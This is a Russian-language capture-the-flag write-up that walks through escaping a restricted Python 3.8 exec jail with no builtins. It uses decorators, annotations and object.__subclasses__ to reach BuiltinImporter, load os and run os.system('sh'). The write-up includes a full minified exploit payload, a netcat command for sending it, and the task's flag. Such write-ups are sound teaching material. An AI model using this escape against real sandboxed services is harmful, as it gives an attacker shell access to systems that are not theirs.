Я вам запрещаю использовать синтаксис Python!
nc HOST 17172
- server.py
Цель таска — исполнить код в ограниченном синтаксисе Python 3.8.
Мы можем заслать строку не более 400 символов в длину, используя 44 разрешённых символа:
\t\n\x0b\x0c\r!#$.:;?@[\]_`abcdefghijklmnopqrstuvwxyz
Введённый код затем исполняется функцией exec с пустым словарём __builtins__ — это значит, что никакие встроенные функции (print, eval и т.д.) нам недоступны:
exec(code, {'__builtins__': {}})Перед написанием кода зафиксируем следующие наблюдения:
- Пробелы запрещены, а сервер считывает весь код одной строкой. Чтобы это обойти, заменим в итоговом коде символ перевода строки (
\n) на символ возврата каретки (\r), а символ пробела () на символ\x0c - Присваивания запрещены, но мы можем использовать циклы
for, так как они создают глобальные переменные или модифицируют поля объекта или элементы структуры - Большинство литералов (строки, числа, None) запрещены, но мы можем использовать пустой список (
[]) или Ellipsis (...) - Мы будем использовать аннотации типов, чтобы создавать строки в словаре
__annotations__ - Мы будем использовать декораторы (
@), чтобы вызывать функции
Наша цель — вызвать os.system('sh'), для этого потребуется как-то импортировать модуль os. К счастью, мы имеем доступ к производным от object классам через метод object.__subclasses__(), в которых содержится класс BuiltinImporter. Осталось придумать, как до него добраться.
Чтобы использовать декораторы, нам нужны либо объявления функций (def f(): ...), либо объявления классов (class x: ...). Функции мы не можем объявить из-за запрещённых скобок, а для объявления класса нужна встроенная функция __build_class__, которая также отстуствует из-за пустого __builtins__. Всё, что нам нужно сделать для успешного объявления класса — создать функцию __builtins__['__build_class__'], которая принимает два аргумента.
Чтобы записать что-то по ключу '__build_class__', нам нужно сначала сделать строку '__build_class__'. Воспользуемся аннотациями типов и укажем тип ... для несуществующей переменной __build_class__:
__build_class__: ...Теперь в __annotations__ лежит строка '__build_class__'. Так как __annotations__ — это словарь, мы можем проитерироваться по нему и записать единственный ключ в переменную:
for method_name in __annotations__:
passПосле этого в переменной method_name лежит строка '__build_class__'.
Теперь мы готовы записать функцию в __builtins__['__build_class__'], осталось выбрать саму функцию. Сигнатура оригинального __build_class__(func: function, name: str), где name — это имя класса. Если мы найдём такую функцию, которая принимает два аргумента и возвращает второй, мы сможем превращать объявления классов в строки. И такая функция есть — это __builtins__.get(key: object, default: object), функция словаря, которая ищет в __builtins__ значение по ключу key, и если не находит, то возвращает default. Аргумент func создаётся на лету после вызова __build_class__, поэтому он вряд ли будет лежать в словаре __builtins__, следовательно, мы будем получать второй аргумент — имя класса.
for __builtins__[method_name] in [__builtins__.get]:
passПосле этого __builtins__['__build_class__'] равен __builtins__.get.
method_name — это строка, следовательно, method_name.__class__ — это <class 'str'>, тогда method_name.__class__.__base__ — это <class 'object'>. Записываем:
for object_type in [method_name.__class__.__base__]:
passobject_type — это <class 'object'>, следовательно, object_type.__class__ — это <class 'type'>, а object_type.__class__.__name__ — это строка 'type'. Мы помним, что при объявлении класса class type: ... мы получим строку 'type'. Давайте используем её как ключ в каком-нибудь словаре (например, __builtins__), чтобы применить на класс декоратор @__builtins__.get и получить object_type — тип объекта:
for __builtins__[object_type.__class__.__name__] in [object_type]:
passТеперь в __builtins__['type'] лежит <class 'object'>.
Как мы помним, object_type.__class__ — это <class 'type'>, значит object_type.__class__.__subclasses__(t: type) — это функция, возвращающая все производные от класса t. Если мы передадим туда object_type, мы получим все производные от класса object.
@object_type.__class__.__subclasses__
@__builtins__.get
class type:
passОбъявление класса вернёт строку 'type', @__builtins__.get на этой строке вернёт <class 'object'>, @object_type.__class__.__subclasses__ на нём вернёт список всех производных класса object и положит их в переменную type (имя класса).
Запустим локально нужную версию Python и убедимся, что класс BuiltinImporter лежит по смещению 84 в списке производных классов (в переменной type), значит нам нужно воспользоваться функцией списка type.__getitem__ и передать туда число 84. Но числа у нас запрещены, поэтому придётся как-то их выразить. Как мы помним, method_name.__class__ — это <class 'str'>, следовательно method_name.__class__.__sizeof__ — это метод класса строки, возвращающий размер структуры строки во внутренней памяти Python. Не будем погружаться во внутренности, просто попробуем разные строки и выясним, что размер 84 имеет структура строки длины 35. Создадим нужный класс и вызовем на нём эти методы:
@type.__getitem__
@method_name.__class__.__sizeof__
class offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx:
passТеперь в переменной offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx лежит класс BuiltinImporter.
У класса BuiltinImporter есть метод load_module, который первым аргументом принимает имя нужного модуля. Дальнейшие действия тривиальны: нам нужно создать строку os, вызвать на ней BuiltinImporter.load_module, затем создать строку sh и вызвать на ней os.system. Нам понадобится два класса:
@offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx.load_module
class os:
passПосле этого действия в переменной os лежит модуль os.
@os.system
class sh:
passНа этом моменте мы выходим в шелл.
__build_class__: ...
for method_name in __annotations__:
pass
for __builtins__[method_name] in [__builtins__.get]:
pass
for object_type in [method_name.__class__.__base__]:
pass
for __builtins__[object_type.__class__.__name__] in [object_type]:
pass
@object_type.__class__.__subclasses__
@__builtins__.get
class type:
pass
@type.__getitem__
@method_name.__class__.__sizeof__
class offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx:
pass
@offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx.load_module
class os:
pass
@os.system
class sh:
passЭтот эксплоит уже работает на Python 3.8, но он превышает длину 400 символов, поэтому мы его немного минифицируем вручную: вынесем __builtins__, переименуем по возможности переменные на односимвольные, заменим ... и pass на [], уберём лишние пробельные символы. Получится что-то вроде этого:
__build_class__:[]
for b in[__builtins__]:[]
for m in __annotations__:[]
for b[m]in[b.get]:[]
for o in[m.__class__.__base__]:[]
for b[o.__class__.__name__]in[o]:[]
@o.__class__.__subclasses__
@b.get
class type:[]
@type.__getitem__
@m.__class__.__sizeof__
class offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx:[]
@offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx.load_module
class os:[]
@os.system
class sh:[]Длина этого кода 383 символа. Нужно помнить, что при отправке на сервер нужно заменить все пробелы на \x0c, а переводы строк на \r.
Пример решения: solver.py, запускать так:
(python3 solver.py; cat) | nc HOST 17172 -v
LetoCTF{d3c0r4t0r_0r13nt3d_pr0gr4mm1ng}